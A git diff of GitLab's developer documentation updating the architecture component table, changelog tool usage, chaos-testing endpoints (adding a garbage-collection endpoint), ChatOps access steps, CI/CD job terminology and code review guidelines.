a/doc/development/approval_rules.md +++ b/doc/development/approval_rules.md @@ -4,7 +4,7 @@ group: Source Code info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Approval Rules **(STARTER)** +# Approval Rules development guide **(FREE)** This document explains the backend design and flow of all related functionality about [merge request approval rules](../user/project/merge_requests/merge_request_approvals.md). @@ -44,8 +44,8 @@ erDiagram ### `Project` and `MergeRequest` `Project` and `MergeRequest` models are defined in `ee/app/models/ee/project.rb` -and `ee/app/models/ee/merge_request.rb`. They extend the non-EE versions since -approval rules is an EE only feature. Associations and other related stuff to +and `ee/app/models/ee/merge_request.rb`. They extend the non-EE versions, because +approval rules are an EE-only feature. Associations and other related stuff to merge request approvals are defined here. ### `ApprovalState` @@ -265,8 +265,8 @@ graph LR ApprovalWrappedRule --> Approval ``` -This flow gets initiated by the frontend component. The data returned will -then be used to display information on the MR widget. +This flow gets initiated by the frontend component. The data returned is +used to display information on the MR widget. ### Approving a merge request @@ -282,5 +282,5 @@ is executed instead. ## TODO -1. Add information related to other rule types (e.g. `code_owner` and `report_approver`). +1. Add information related to other rule types, such as `code_owner` and `report_approver`. 1. Add information about side effects of approving/unapproving merge request. diff --git a/doc/development/architecture.md b/doc/development/architecture.md index f8ab97de848..69055131ae8 100644 --- a/doc/development/architecture.md +++ b/doc/development/architecture.md @@ -91,6 +91,8 @@ The simplest way to ensure this, is to add support for your feature or service t [the official GitLab Helm chart](https://docs.gitlab.com/charts/) or reach out to [the Distribution team](https://about.gitlab.com/handbook/engineering/development/enablement/distribution/#how-to-work-with-distribution). +Refer to the [process for adding new service components](adding_service_component.md) for more details. + ### Simplified component overview This is a simplified architecture diagram that can be used to @@ -225,52 +227,54 @@ Component statuses are linked to configuration documentation for each component. Table description links: - [Omnibus GitLab](https://docs.gitlab.com/omnibus/) +- [GitLab Environment Toolkit (GET)](https://gitlab.com/gitlab-org/quality/gitlab-environment-toolkit) - [GitLab chart](https://docs.gitlab.com/charts/) - [Minikube Minimal](https://docs.gitlab.com/charts/development/minikube/#deploying-gitlab-with-minimal-settings) - [GitLab.com](https://gitlab.com) - [Source](../install/installation.md) - [GDK](https://gitlab.com/gitlab-org/gitlab-development-kit) -| Component | Description | Omnibus GitLab | GitLab chart | Minikube Minimal | GitLab.com | Source | GDK | CE/EE | -|-------------------------------------------------------|----------------------------------------------------------------------|:--------------:|:------------:|:----------------:|:----------:|:------:|:---:|:-------:| -| [Certificate Management](#certificate-management) | TLS Settings, Let's Encrypt | ✅ | ✅ | ⚙ | ✅ | ⚙ | ⚙ | CE & EE | -| [Consul](#consul) | Database node discovery, failover | ⚙ | ❌ | ❌ | ✅ | ❌ | ❌ | EE Only | -| [Database Migrations](#database-migrations) | Database migrations | ✅ | ✅ | ✅ | ✅ | ⚙ | ✅ | CE & EE | -| [Elasticsearch](#elasticsearch) | Improved search within GitLab | ⤓ | ⤓ | ⤓ | ✅ | ⤓ | ⤓ | EE Only | -| [Gitaly](#gitaly) | Git RPC service for handling all Git calls made by GitLab | ✅ | ✅ | ✅ | ✅ | ⚙ | ✅ | CE & EE | -| [GitLab Exporter](#gitlab-exporter) | Generates a variety of GitLab metrics | ✅ | ✅ | ✅ | ✅ | ❌ | ❌ | CE & EE | -| [GitLab Geo Node](#gitlab-geo) | Geographically distributed GitLab nodes | ⚙ | ⚙ | ❌ | ✅ | ❌ | ⚙ | EE Only | -| [GitLab Managed Apps](#gitlab-managed-apps) | Deploy Helm, Ingress, Cert-Manager, Prometheus, GitLab Runner, JupyterHub, or Knative to a cluster | ⤓ | ⤓ | ⤓ | ⤓ | ⤓ | ⤓ | CE & EE | -| [GitLab Pages](#gitlab-pages) | Hosts static websites | ⚙ | ❌ | ❌ | ✅ | ⚙ | ⚙ | CE & EE | -| [GitLab Kubernetes Agent](#gitlab-kubernetes-agent) | Integrate Kubernetes clusters in a cloud-native way | ⚙ | ⚙ | ❌ | ❌ | ⤓ | ⚙ | EE Only | -| [GitLab self-monitoring: Alertmanager](#alertmanager) | Deduplicates, groups, and routes alerts from Prometheus | ⚙ | ✅ | ⚙ | ✅ | ❌ | ❌ | CE & EE | -| [GitLab self-monitoring: Grafana](#grafana) | Metrics dashboard | ✅ | ⚙ | ⤓ | ✅ | ❌ | ❌ | CE & EE | -| [GitLab self-monitoring: Jaeger](#jaeger) | View traces generated by the GitLab instance | ❌ | ⚙ | ❌ | ❌ | ⤓ | ⚙ | CE & EE | -| [GitLab self-monitoring: Prometheus](#prometheus) | Time-series database, metrics collection, and query service | ✅ | ✅ | ⚙ | ✅ | ❌ | ❌ | CE & EE | -| [GitLab self-monitoring: Sentry](#sentry) | Track errors generated by the GitLab instance | ⤓ | ⤓ | ❌ | ✅ | ⤓ | ⤓ | CE & EE | -| [GitLab Shell](#gitlab-shell) | Handles `git` over SSH sessions | ✅ | ✅ | ✅ | ✅ | ⚙ | ✅ | CE & EE | -| [GitLab Workhorse](#gitlab-workhorse) | Smart reverse proxy, handles large HTTP requests | ✅ | ✅ | ✅ | ✅ | ⚙ | ✅ | CE & EE | -| [Inbound email (SMTP)](#inbound-email) | Receive messages to update issues | ⤓ | ⚙ | ⤓ | ✅ | ⤓ | ⤓ | CE & EE | -| [Jaeger integration](#jaeger) | Distributed tracing for deployed apps | ⤓ | ⤓ | ⤓ | ⤓ | ⤓ | ⤓ | EE Only | -| [LDAP Authentication](#ldap-authentication) | Authenticate users against centralized LDAP directory | ⤓ | ⤓ | ⤓ | ❌ | ⤓ | ⤓ | CE & EE | -| [Mattermost](#mattermost) | Open-source Slack alternative | ⚙ | ⤓ | ⤓ | ⤓ | ❌ | ❌ | CE & EE | -| [MinIO](#minio) | Object storage service | ⤓ | ✅ | ✅ | ✅ | ❌ | ⚙ | CE & EE | -| [NGINX](#nginx) | Routes requests to appropriate components, terminates SSL | ✅ | ✅ | ⚙ | ✅ | ⤓ | ❌ | CE & EE | -| [Node Exporter](#node-exporter) | Prometheus endpoint with system metrics | ✅ | N/A | N/A | ✅ | ❌ | ❌ | CE & EE | -| [Outbound email (SMTP)](#outbound-email) | Send email messages to users | ⤓ | ⚙ | ⤓ | ✅ | ⤓ | ⤓ | CE & EE | -| [Patroni](#patroni) | Manage PostgreSQL HA cluster leader selection and replication | ⚙ | ❌ | ❌ | ✅ | ❌ | ❌ | EE Only | -| [PgBouncer Exporter](#pgbouncer-exporter) | Prometheus endpoint with PgBouncer metrics | ⚙ | ❌ | ❌ | ✅ | ❌ | ❌ | CE & EE | -| [PgBouncer](#pgbouncer) | Database connection pooling, failover | ⚙ | ❌ | ❌ | ✅ | ❌ | ❌ | EE Only | -| [PostgreSQL Exporter](#postgresql-exporter) | Prometheus endpoint with PostgreSQL metrics | ✅ | ✅ | ✅ | ✅ | ❌ | ❌ | CE & EE | -| [PostgreSQL](#postgresql) | Database | ✅ | ✅ | ✅ | ✅ | ⤓ | ✅ | CE & EE | -| [Praefect](#praefect) | A transparent proxy between any Git client and Gitaly storage nodes. | ✅ | ⚙ | ❌ | ✅ | ⚙ | ✅ | CE & EE | -| [Redis Exporter](#redis-exporter) | Prometheus endpoint with Redis metrics | ✅ | ✅ | ✅ | ✅ | ❌ | ❌ | CE & EE | -| [Redis](#redis) | Caching service | ✅ | ✅ | ✅ | ✅ | ⤓ | ✅ | CE & EE | -| [Registry](#registry) | Container registry, allows pushing and pulling of images | ⚙ | ✅ | ✅ | ✅ | ⤓ | ⚙ | CE & EE | -| [Runner](#gitlab-runner) | Executes GitLab CI/CD jobs | ⤓ | ✅ | ⚙ | ✅ | ⚙ | ⚙ | CE & EE | -| [Sentry integration](#sentry) | Error tracking for deployed apps | ⤓ | ⤓ | ⤓ | ⤓ | ⤓ | ⤓ | CE & EE | -| [Sidekiq](#sidekiq) | Background jobs processor | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | CE & EE | -| [Puma (GitLab Rails)](#puma) | Handles requests for the web interface and API | ✅ | ✅ | ✅ | ✅ | ⚙ | ✅ | CE & EE | +| Component | Description | Omnibus GitLab | GitLab Environment Toolkit (GET) | GitLab chart | Minikube Minimal | GitLab.com | Source | GDK | CE/EE | +|-------------------------------------------------------|----------------------------------------------------------------------|:--------------:|:--------------:|:------------:|:----------------:|:----------:|:------:|:---:|:-------:| +| [Certificate Management](#certificate-management) | TLS Settings, Let's Encrypt | ✅ | ✅ | ✅ | ⚙ | ✅ | ⚙ | ⚙ | CE & EE | +| [Consul](#consul) | Database node discovery, failover | ⚙ | ✅ | ❌ | ❌ | ✅ | ❌ | ❌ | EE Only | +| [Database Migrations](#database-migrations) | Database migrations | ✅ | ✅ | ✅ | ✅ | ✅ | ⚙ | ✅ | CE & EE | +| [Elasticsearch](#elasticsearch) | Improved search within GitLab | ⤓ | ⚙ | ⤓ | ⤓ | ✅ | ⤓ | ⤓ | EE Only | +| [Gitaly](#gitaly) | Git RPC service for handling all Git calls made by GitLab | ✅ | ✅ | ✅ | ✅ | ✅ | ⚙ | ✅ | CE & EE | +| [GitLab Exporter](#gitlab-exporter) | Generates a variety of GitLab metrics | ✅ | ✅ | ✅ | ✅ | ✅ | ❌ | ❌ | CE & EE | +| [GitLab Geo Node](#gitlab-geo) | Geographically distributed GitLab nodes | ⚙ | ⚙ | ❌ | ❌ | ✅ | ❌ | ⚙ | EE Only | +| [GitLab Kubernetes Agent](#gitlab-kubernetes-agent) | Integrate Kubernetes clusters in a cloud-native way | ⚙ | ⚙ | ⚙ | ❌ | ❌ | ⤓ | ⚙ | EE Only | +| [GitLab Managed Apps](#gitlab-managed-apps) | Deploy Helm, Ingress, Cert-Manager, Prometheus, GitLab Runner, JupyterHub, or Knative to a cluster | ⤓ | ⤓ | ⤓ | ⤓ | ⤓ | ⤓ | ⤓ | CE & EE | +| [GitLab Pages](#gitlab-pages) | Hosts static websites | ⚙ | ⚙ | ❌ | ❌ | ✅ | ⚙ | ⚙ | CE & EE | +| [GitLab Kubernetes Agent](#gitlab-kubernetes-agent) | Integrate Kubernetes clusters in a cloud-native way | ⚙ | ⚙ | ⚙ | ❌ | ❌ | ⤓ | ⚙ | EE Only | +| [GitLab self-monitoring: Alertmanager](#alertmanager) | Deduplicates, groups, and routes alerts from Prometheus | ⚙ | ⚙ | ✅ | ⚙ | ✅ | ❌ | ❌ | CE & EE | +| [GitLab self-monitoring: Grafana](#grafana) | Metrics dashboard | ✅ | ✅ | ⚙ | ⤓ | ✅ | ❌ | ❌ | CE & EE | +| [GitLab self-monitoring: Jaeger](#jaeger) | View traces generated by the GitLab instance | ❌ | ⚙ | ⚙ | ❌ | ❌ | ⤓ | ⚙ | CE & EE | +| [GitLab self-monitoring: Prometheus](#prometheus) | Time-series database, metrics collection, and query service | ✅ | ✅ | ✅ | ⚙ | ✅ | ❌ | ❌ | CE & EE | +| [GitLab self-monitoring: Sentry](#sentry) | Track errors generated by the GitLab instance | ⤓ | ⤓ | ⤓ | ❌ | ✅ | ⤓ | ⤓ | CE & EE | +| [GitLab Shell](#gitlab-shell) | Handles `git` over SSH sessions | ✅ | ✅ | ✅ | ✅ | ✅ | ⚙ | ✅ | CE & EE | +| [GitLab Workhorse](#gitlab-workhorse) | Smart reverse proxy, handles large HTTP requests | ✅ | ✅ | ✅ | ✅ | ✅ | ⚙ | ✅ | CE & EE | +| [Inbound email (SMTP)](#inbound-email) | Receive messages to update issues | ⤓ | ⤓ | ⚙ | ⤓ | ✅ | ⤓ | ⤓ | CE & EE | +| [Jaeger integration](#jaeger) | Distributed tracing for deployed apps | ⤓ | ⤓ | ⤓ | ⤓ | ⤓ | ⤓ | ⤓ | EE Only | +| [LDAP Authentication](#ldap-authentication) | Authenticate users against centralized LDAP directory | ⤓ | ⤓ | ⤓ | ⤓ | ❌ | ⤓ | ⤓ | CE & EE | +| [Mattermost](#mattermost) | Open-source Slack alternative | ⚙ | ⚙ | ⤓ | ⤓ | ⤓ | ❌ | ❌ | CE & EE | +| [MinIO](#minio) | Object storage service | ⤓ | ⤓ | ✅ | ✅ | ✅ | ❌ | ⚙ | CE & EE | +| [NGINX](#nginx) | Routes requests to appropriate components, terminates SSL | ✅ | ✅ | ✅ | ⚙ | ✅ | ⤓ | ❌ | CE & EE | +| [Node Exporter](#node-exporter) | Prometheus endpoint with system metrics | ✅ | ✅ | N/A | N/A | ✅ | ❌ | ❌ | CE & EE | +| [Outbound email (SMTP)](#outbound-email) | Send email messages to users | ⤓ | ⤓ | ⚙ | ⤓ | ✅ | ⤓ | ⤓ | CE & EE | +| [Patroni](#patroni) | Manage PostgreSQL HA cluster leader selection and replication | ⚙ | ✅ | ❌ | ❌ | ✅ | ❌ | ❌ | EE Only | +| [PgBouncer Exporter](#pgbouncer-exporter) | Prometheus endpoint with PgBouncer metrics | ⚙ | ✅ | ❌ | ❌ | ✅ | ❌ | ❌ | CE & EE | +| [PgBouncer](#pgbouncer) | Database connection pooling, failover | ⚙ | ✅ | ❌ | ❌ | ✅ | ❌ | ❌ | EE Only | +| [PostgreSQL Exporter](#postgresql-exporter) | Prometheus endpoint with PostgreSQL metrics | ✅ | ✅ | ✅ | ✅ | ✅ | ❌ | ❌ | CE & EE | +| [PostgreSQL](#postgresql) | Database | ✅ | ✅ | ✅ | ✅ | ✅ | ⤓ | ✅ | CE & EE | +| [Praefect](#praefect) | A transparent proxy between any Git client and Gitaly storage nodes. | ✅ | ✅ | ⚙ | ❌ | ✅ | ⚙ | ✅ | CE & EE | +| [Puma (GitLab Rails)](#puma) | Handles requests for the web interface and API | ✅ | ✅ | ✅ | ✅ | ✅ | ⚙ | ✅ | CE & EE | +| [Redis Exporter](#redis-exporter) | Prometheus endpoint with Redis metrics | ✅ | ✅ | ✅ | ✅ | ✅ | ❌ | ❌ | CE & EE | +| [Redis](#redis) | Caching service | ✅ | ✅ | ✅ | ✅ | ✅ | ⤓ | ✅ | CE & EE | +| [Registry](#registry) | Container registry, allows pushing and pulling of images | ⚙ | ⚙ | ✅ | ✅ | ✅ | ⤓ | ⚙ | CE & EE | +| [Runner](#gitlab-runner) | Executes GitLab CI/CD jobs | ⤓ | ⤓ | ✅ | ⚙ | ✅ | ⚙ | ⚙ | CE & EE | +| [Sentry integration](#sentry) | Error tracking for deployed apps | ⤓ | ⤓ | ⤓ | ⤓ | ⤓ | ⤓ | ⤓ | CE & EE | +| [Sidekiq](#sidekiq) | Background jobs processor | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | CE & EE | ### Component details @@ -934,7 +938,7 @@ ps aux | grep '^git' ``` GitLab has several components to operate. It requires a persistent database -(PostgreSQL) and Redis database, and uses Apache `httpd` or NGINX to proxypass +(PostgreSQL) and Redis database, and uses Apache `httpd` or NGINX to `proxypass` Puma. All these components should run as different system users to GitLab (for example, `postgres`, `redis`, and `www-data`, instead of `git`). diff --git a/doc/development/auto_devops.md b/doc/development/auto_devops.md index c457573b87a..eaf1d712f17 100644 --- a/doc/development/auto_devops.md +++ b/doc/development/auto_devops.md @@ -4,7 +4,7 @@ group: Configure info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Auto DevOps development guide +# Auto DevOps development guide **(FREE)** This document provides a development guide for contributors to [Auto DevOps](../topics/autodevops/index.md). diff --git a/doc/development/changelog.md b/doc/development/changelog.md index 8fad32ed163..f2c8aa4db62 100644 --- a/doc/development/changelog.md +++ b/doc/development/changelog.md @@ -45,7 +45,7 @@ the `author` field. GitLab team members **should not**. **must** have a changelog entry, without `merge_request` value and with `type` set to `security`. - Any user-facing change **must** have a changelog entry. This includes both visual changes (regardless of how minor), and changes to the rendered DOM which impact how a screen reader may announce the content. -- Any client-facing change to our REST and GraphQL APIs **must** have a changelog entry. +- Any client-facing change to our REST and GraphQL APIs **must** have a changelog entry. This includes modifying complexity of GraphQL fields. - Performance improvements **should** have a changelog entry. - Changes that need to be documented in the Product Intelligence [Event Dictionary](https://about.gitlab.com/handbook/product/product-intelligence-guide/#event-dictionary) also require a changelog entry. @@ -168,6 +168,7 @@ type: | [`--dry-run`](#--dry-run-or--n) | `-n` | Don't actually write anything, just print | | [`--git-username`](#--git-username-or--u) | `-u` | Use Git user.name configuration as the author | | [`--type`](#--type-or--t) | `-t` | The category of the change, valid options are: `added`, `fixed`, `changed`, `deprecated`, `removed`, `security`, `performance`, `other` | +| [`--ee`](#how-to-generate-a-changelog-entry) | | Create an EE changelog | `--help` | `-h` | Print help message | #### `--amend` @@ -274,6 +275,20 @@ author: type: added ``` +#### `--ee` + +Use the **`--ee`** argument to create an EE changelog: + +```plaintext +$ bin/changelog 'Hey DZ, I added a feature to GitLab!' -ee +create ee/changelogs/unreleased/feature-hey-dz.yml +--- +title: Hey DZ, I added a feature to GitLab! +merge_request: +author: +type: added +``` + ### History and Reasoning Our `CHANGELOG` file was previously updated manually by each contributor that diff --git a/doc/development/chaos_endpoints.md b/doc/development/chaos_endpoints.md index 9104c01c980..85c93f521ac 100644 --- a/doc/development/chaos_endpoints.md +++ b/doc/development/chaos_endpoints.md @@ -6,8 +6,12 @@ info: To determine the technical writer assigned to the Stage/Group associated w # Generating chaos in a test GitLab instance +<!-- vale gitlab.Spelling = NO --> + As [Werner Vogels](https://twitter.com/Werner), the CTO at Amazon Web Services, famously put it, **Everything fails, all the time**. +<!-- vale gitlab.Spelling = NO --> + As a developer, it's as important to consider the failure modes in which your software may operate as much as normal operation. Doing so can mean the difference between a minor hiccup leading to a scattering of `500` errors experienced by a tiny fraction of users, and a full site outage that affects all users for an extended period. To paraphrase [Tolstoy](https://en.wikipedia.org/wiki/Anna_Karenina_principle), _all happy servers are alike, but all failing servers are failing in their own way_. Luckily, there are ways we can attempt to simulate these failure modes, and the chaos endpoints are tools for assisting in this process. @@ -160,3 +164,58 @@ GET /-/chaos/kill?async=true curl "http://localhost:3000/-/chaos/kill" --header 'X-Chaos-Secret: secret' curl "http://localhost:3000/-/chaos/kill?token=secret" ``` + +## Run garbage collector + +This endpoint triggers a GC run on the worker handling the request and returns its worker ID +plus GC stats as JSON. This is mostly useful when running Puma in standalone mode, since +otherwise the worker handling the request will not be known upfront. + +Endpoint: + +```plaintext +POST /-/chaos/gc +``` + +Example request: + +```shell +curl --request POST "http://localhost:3000/-/chaos/gc" --header 'X-Chaos-Secret: secret' +curl --request POST "http://localhost:3000/-/chaos/gc?token=secret" +``` + +Example response: + +```json +{ + "worker_id": "puma_1", + "gc_stat": { + "count": 94, + "heap_allocated_pages": 9077, + "heap_sorted_length": 9077, + "heap_allocatable_pages": 0, + "heap_available_slots": 3699720, + "heap_live_slots": 2827510, + "heap_free_slots": 872210, + "heap_final_slots": 0, + "heap_marked_slots": 2827509, + "heap_eden_pages": 9077, + "heap_tomb_pages": 0, + "total_allocated_pages": 9077, + "total_freed_pages": 0, + "total_allocated_objects": 14229357, + "total_freed_objects": 11401847, + "malloc_increase_bytes": 8192, + "malloc_increase_bytes_limit": 30949538, + "minor_gc_count": 71, + "major_gc_count": 23, + "compact_count": 0, + "remembered_wb_unprotected_objects": 41685, + "remembered_wb_unprotected_objects_limit": 83370, + "old_objects": 2617806, + "old_objects_limit": 5235612, + "oldmalloc_increase_bytes": 8192, + "oldmalloc_increase_bytes_limit": 122713697 + } +} +``` diff --git a/doc/development/chatops_on_gitlabcom.md b/doc/development/chatops_on_gitlabcom.md index a2a0005f7cb..0341abf5eeb 100644 --- a/doc/development/chatops_on_gitlabcom.md +++ b/doc/development/chatops_on_gitlabcom.md @@ -35,14 +35,12 @@ To request access to ChatOps on GitLab.com: in the `#chat-ops-test` Slack channel, replacing `<username>` with your username: `/chatops run member add <username> gitlab-com/chatops --ops` - <!-- vale gitlab.FirstPerson = NO --> - - > Hi `__BUDDY_HANDLE__` and `__MANAGER_HANDLE__`, could you please add me to - > the ChatOps project in Ops by running this command: - > `/chatops run member add <username> gitlab-com/chatops --ops` in the - > `#chat-ops-test` Slack channel? Thanks in advance. - - <!-- vale gitlab.FirstPerson = YES --> + ```plaintext + Hi <__BUDDY_HANDLE__> and <__MANAGER_HANDLE__>, could you please add me to + the ChatOps project in Ops by running this command: + `/chatops run member add <username> gitlab-com/chatops --ops` in the + `#chat-ops-test` Slack channel? Thanks in advance. + ``` 1. Ensure you've set up two-factor authentication. 1. After you're added to the ChatOps project, run this command to check your user @@ -61,6 +59,6 @@ To request access to ChatOps on GitLab.com: ## See also -- [ChatOps Usage](../ci/chatops/README.md) +- [ChatOps Usage](../ci/chatops/index.md) - [Understanding EXPLAIN plans](understanding_explain_plans.md) - [Feature Groups](feature_flags/development.md#feature-groups) diff --git a/doc/development/cicd/img/ci_minutes.png b/doc/development/cicd/img/ci_minutes.png Binary files differnew file mode 100644 index 00000000000..d47406fb445 --- /dev/null +++ b/doc/development/cicd/img/ci_minutes.png diff --git a/doc/development/cicd/index.md b/doc/development/cicd/index.md index eede1d691a9..eb2224d710a 100644 --- a/doc/development/cicd/index.md +++ b/doc/development/cicd/index.md @@ -143,3 +143,42 @@ Finally if the runner can only pick jobs that are tagged, all untagged jobs are At this point we loop through remaining `pending` jobs and we try to assign the first job that the runner "can pick" based on additional policies. For example, runners marked as `protected` can only pick jobs that run against protected branches (such as production deployments). As we increase the number of runners in the pool we also increase the chances of conflicts which would arise if assigning the same job to different runners. To prevent that we gracefully rescue conflict errors and assign the next job in the list. + +## The definition of "Job" in GitLab CI/CD + +"Job" in GitLab CI context refers a task to drive Continuous Integration, Delivery and Deployment. +Typically, a pipeline contains multiple stages, and a stage contains multiple jobs. + +In Active Record modeling, Job is defined as `CommitStatus` class. +On top of that, we have the following types of jobs: + +- `Ci::Build` ... The job to be executed by runners. +- `Ci::Bridge` ... The job to trigger a downstream pipeline. +- `GenericCommitStatus` ... The job to be executed in an external CI/CD system e.g. Jenkins. + +Please note that, when you use the "Job" terminology in codebase, readers would +assume that the class/object is any type of above. +If you specifically refer `Ci::Build` class, you should not name the object/class +as "job" as this could cause some confusions. In documentation, +we should use "Job" in general, instead of "Build". + +We have a few inconsistencies in our codebase that should be refactored. +For example, `CommitStatus` should be `Ci::Job` and `Ci::JobArtifact` should be `Ci::BuildArtifact`. +See [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/16111) for the full refactoring plan. + +## CI Minutes + +This diagram shows how the [CI minutes](../../subscriptions/gitlab_com/index.md#ci-pipeline-minutes) +feature and its components work. + + +<!-- Editable diagram available at https://app.diagrams.net/?libs=general;flowchart#G1XjLPvJXbzMofrC3eKRyDEk95clV6ypOb --> + +Watch a walkthrough of this feature in details in the video below. + +<div class="video-fallback"> + See the video: <a href="https://www.youtube.com/watch?v=NmdWRGT8kZg">CI Minutes - architectural overview</a>. +</div> +<figure class="video-container"> + <iframe src="https://www.youtube.com/embed/NmdWRGT8kZg" frameborder="0" allowfullscreen="true"> </iframe> +</figure> diff --git a/doc/development/code_intelligence/index.md b/doc/development/code_intelligence/index.md index c5673f6eee2..ac962e3ae3e 100644 --- a/doc/development/code_intelligence/index.md +++ b/doc/development/code_intelligence/index.md @@ -4,7 +4,7 @@ group: Source Code info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Code Intelligence +# Code Intelligence **(FREE)** > [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/1576) in GitLab 13.1. @@ -45,7 +45,7 @@ sequenceDiagram GitLab Rails to authorize the upload. 1. GitLab Rails validates whether the artifact can be uploaded and sends - `ProcessLsif: true` header if the lsif artifact can be processed. + `ProcessLsif: true` header if the LSIF artifact can be processed. 1. Workhorse reads the LSIF document line by line and generates code intelligence data for each file in the project. The output is a zipped directory of JSON diff --git a/doc/development/code_review.md b/doc/development/code_review.md index fe395dc2304..dada6adcce7 100644 --- a/doc/development/code_review.md +++ b/doc/development/code_review.md @@ -24,7 +24,7 @@ uncovered edge cases. The default approach is to choose a reviewer from your group or team for the first review. This is only a recommendation and the reviewer may be from a different team. However, it is recommended to pick someone who is a [domain expert](#domain-experts). -If your merge request touches more than one domain (for example, Dynamic Analysis and GraphQL), ask for reviews from an expert from each domain. +If your merge request touches more than one domain (for example, Dynamic Analysis and GraphQL), ask for reviews from an expert from each domain. You can read more about the importance of involving reviewer(s) in the section on the responsibility of the author below. @@ -107,11 +107,11 @@ with [domain expertise](#domain-experts). be **approved by a [frontend foundations member](https://about.gitlab.com/direction/create/ecosystem/frontend-ux-foundations/)**. - If the license used by the new library hasn't been approved for use in GitLab, the license must be **approved by a [legal department member](https://about.gitlab.com/handbook/legal/)**. - More information about license compatiblity can be found in our + More information about license compatibility can be found in our [GitLab Licensing and Compatibility documentation](licensing.md). 1. If your merge request includes adding a new UI/UX paradigm (*1*), it must be **approved by a [UX lead](https://about.gitlab.com/company/team/)**. -1. If your merge request includes a new dependency or a filesystem change, it must be +1. If your merge request includes a new dependency or a file system change, it must be **approved by a [Distribution team member](https://about.gitlab.com/company/team/)**. See how to work with the [Distribution team](https://about.gitlab.com/handbook/engineering/development/enablement/distribution/#how-to-work-with-distribution) for more details. 1. If your merge request includes documentation changes, it must be **approved by a [Technical writer](https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments)**, based on @@ -121,6 +121,8 @@ with [domain expertise](#domain-experts). 1. If your merge request only includes end-to-end changes (*3*) **or** if the MR author is a [Software Engineer in Test](https://about.gitlab.com/handbook/engineering/quality/#individual-contributors), it must be **approved by a [Quality maintainer](https://about.gitlab.com/handbook/engineering/projects/#gitlab_maintainers_qa)** 1. If your merge request includes a new or updated [application limit](https://about.gitlab.com/handbook/product/product-processes/#introducing-application-limits), it must be **approved by a [product manager](https://about.gitlab.com/company/team/)**. 1. If your merge request includes Product Intelligence (telemetry or analytics) changes, it should be reviewed and approved by a [Product Intelligence engineer](https://gitlab.com/gitlab-org/growth/product_intelligence/engineers). +1. If your merge request includes an addition of, or changes to a [Feature spec](testing_guide/testing_levels.md#frontend-feature-tests), it must be **approved by a [Quality maintainer](https://about.gitlab.com/handbook/engineering/projects/#gitlab_maintainers_qa) or [Quality reviewer](https://about.gitlab.com/handbook/engineering/projects/#gitlab_reviewers_qa)**. +1. If your merge request introduces a new service to GitLab (Puma, Sidekiq, Gitaly are examples), it must be **approved by a [product manager](https://about.gitlab.com/company/team/)**. See the [process for adding a service component to GitLab](adding_service_component.md) for details. - (*1*): Please note that specs other than JavaScript specs are considered backend code. - (*2*): We encourage you to seek guidance from a database maintainer if your merge @@ -177,8 +179,11 @@ warrant a comment could be: Avoid: -- Adding comments (referenced above, or TODO items) directly to the source code unless the reviewer requires you to do so. If the comments are added due to an actionable task, -a link to an issue must be included. +- Adding TODO comments (referenced above) directly to the source code unless the reviewer requires + you to do so. If TODO comments are added due to an actionable task, + [include a link to the relevant issue](code_comments.md). +- Adding comments which only explain what the code is doing. If non-TODO comments are added, they should + [_explain why, not what_](https://blog.codinghorror.com/code-tells-you-how-comments-tell-you-why/). - Assigning merge requests with failed tests to maintainers. If the tests are failing and you have to assign, ensure you leave a comment with an explanation. - Excessively mentioning maintainers through email or Slack (if the maintainer is reachable through Slack). If you can't assign a merge request, `@` mentioning a maintainer in a comment is acceptable and in all other cases assigning the merge request is sufficient. @@ -276,10 +281,9 @@ first time. of your shiny new branch, read through the entire diff. Does it make sense? Did you include something unrelated to the overall purpose of the changes? Did you forget to remove any debugging code? -<!-- vale gitlab.FutureTense = NO --> -- Be grateful for the reviewer's suggestions. ("Good call. I'll make that - change.") -<!-- vale gitlab.FutureTense = YES --> +- Consider providing instructions on how to test the merge request. This can be + helpful for reviewers not familiar with the product feature or area of the codebase. +- Be grateful for the reviewer's suggestions. (`Good call. I'll make that change.`) - Don't take it personally. The review is of the code, not of you. - Explain why the code exists. ("It's like that because of these reasons. Would it be more clear if I rename this class/file/method/variable?") @@ -340,7 +344,7 @@ experience, refactors the existing code). Then: convey your intent. - For non-mandatory suggestions, decorate with (non-blocking) so the author knows they can optionally resolve within the merge request or follow-up at a later stage. - - There's a [Chrome/Firefox addon](https://gitlab.com/conventionalcomments/conventional-comments-button) which you can use to apply [Conventional Comment](https://conventionalcomments.org/) prefixes. + - There's a [Chrome/Firefox add-on](https://gitlab.com/conventionalcomments/conventional-comments-button) which you can use to apply [Conventional Comment](https://conventionalcomments.org/) prefixes. - After a round of line notes, it can be helpful to post a summary note such as "Looks good to me", or "Just a couple things to address." - Assign the merge request to the author if changes are required following your @@ -378,9 +382,12 @@ When ready to merge: - Consider using the [Squash and merge](../user/project/merge_requests/squash_and_merge.md#squash-and-merge) feature when the merge request has a lot of commits. - When merging code a maintainer should only use the squash feature if the - author has already set this option or if the merge request clearly contains a - messy commit history that is intended to be squashed. + When merging code, a maintainer should only use the squash feature if the + author has already set this option, or if the merge request clearly contains a + messy commit history, it will be more efficient to squash commits instead of + circling back with the author about that. Otherwise, if the MR only has a few commits, we'll + be respecting the author's setting by not squashing them. + - **Start a new merge request pipeline with the `Run Pipeline` button in the merge request's "Pipelines" tab, and enable "Merge When Pipeline Succeeds" (MWPS).** Note that: - If the **latest [Pipeline for Merged Results](../ci/merge_request_pipelines/pipelines_for_merged_results/#pipelines-for-merged-results)** finished less than 2 hours ago, you @@ -565,7 +572,7 @@ A good example of collaboration on an MR touching multiple parts of the codebase ### Credits -Largely based on the [thoughtbot code review guide](https://github.com/thoughtbot/guides/tree/master/code-review). +Largely based on the [`thoughtbot` code review guide](https://github.com/thoughtbot/guides/tree/master/code-review). --- diff --git a/doc/development/contributing/index.md b/doc/development/contributing/index.md index 329303558b0..7a1c189e087 100644 --- a/doc/development/contributing/index.md +++ b/doc/development/contributing/index.md @@ -181,11 +181,21 @@ reasons for including it. `@mention` a maintainer in merge requests that contain: - More than 500 changes. -- Any major breaking changes. 